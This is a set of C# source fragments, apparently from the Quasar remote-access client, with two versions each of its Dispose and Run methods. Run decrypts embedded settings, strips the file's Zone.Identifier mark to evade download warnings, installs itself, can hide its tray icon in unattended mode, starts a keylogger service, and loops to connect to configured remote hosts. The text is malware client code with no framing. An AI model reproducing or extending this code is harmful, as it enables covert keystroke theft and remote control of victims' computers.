/// <summary> /// Releases all allocated message processors, services and other resources. /// </summary> /// <param name="disposing"><c>True</c> if called from <see cref="Dispose"/>, <c>false</c> if called from the finalizer.</param> protected virtual void Dispose(bool disposing) { if (disposing) { CleanupMessageProcessors(); _keyloggerService?.Dispose(); _userActivityDetection?.Dispose(); ApplicationMutex.Dispose(); } }
protected override void Dispose(bool disposing) { if (disposing) { CleanupMessageProcessors(); _keyloggerService?.Dispose(); _userActivityDetection?.Dispose(); ApplicationMutex?.Dispose(); _connectClient?.Dispose(); _notifyIcon.Visible = false; _notifyIcon.Dispose(); } base.Dispose(disposing); }
/// <summary> /// Begins running the application. /// </summary> public void Run() { // decrypt and verify the settings if (!Settings.Initialize()) { Application.Exit(); } ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // check if process with same mutex is already running on system if (!ApplicationMutex.CreatedNew) { Application.Exit(); } FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); var installer = new ClientInstaller(); if (IsInstallationRequired) { // close mutex before installing the client ApplicationMutex.Dispose(); try { installer.Install(); Application.Exit(); } catch (Exception e) { Debug.WriteLine(e); } } else { try { // (re)apply settings and proceed with connect loop installer.ApplySettings(); } catch (Exception e) { Debug.WriteLine(e); } if (!Settings.UNATTENDEDMODE) { InitializeNotifyicon(); } if (Settings.ENABLELOGGER) { _keyloggerService = new KeyloggerService(); _keyloggerService.Start(); } var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); _connectClient.ClientState += ConnectClientOnClientState; InitializeMessageProcessors(_connectClient); _userActivityDetection = new ActivityDetection(_connectClient); _userActivityDetection.Start(); new Thread(() => { // Start connection loop on new thread and dispose application once client exits. // This is required to keep the UI thread responsive and run the message loop. _connectClient.ConnectLoop(); Application.Exit(); }).Start(); } }
/// <summary> /// Begins running the application. /// </summary> public void Run() { // decrypt and verify the settings if (!Settings.Initialize()) { return; } ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // check if process with same mutex is already running on system if (!ApplicationMutex.CreatedNew) { return; } FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); var installer = new ClientInstaller(); if (IsInstallationRequired) { // close mutex before installing the client ApplicationMutex.Dispose(); try { installer.Install(); } catch (Exception e) { Debug.WriteLine(e); } } else { try { // (re)apply settings and proceed with connect loop installer.ApplySettings(); } catch (Exception e) { Debug.WriteLine(e); } if (Settings.ENABLELOGGER) { _keyloggerService = new KeyloggerService(); _keyloggerService.Start(); } var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); InitializeMessageProcessors(ConnectClient); _userActivityDetection = new ActivityDetection(ConnectClient); _userActivityDetection.Start(); ConnectClient.ConnectLoop(); } }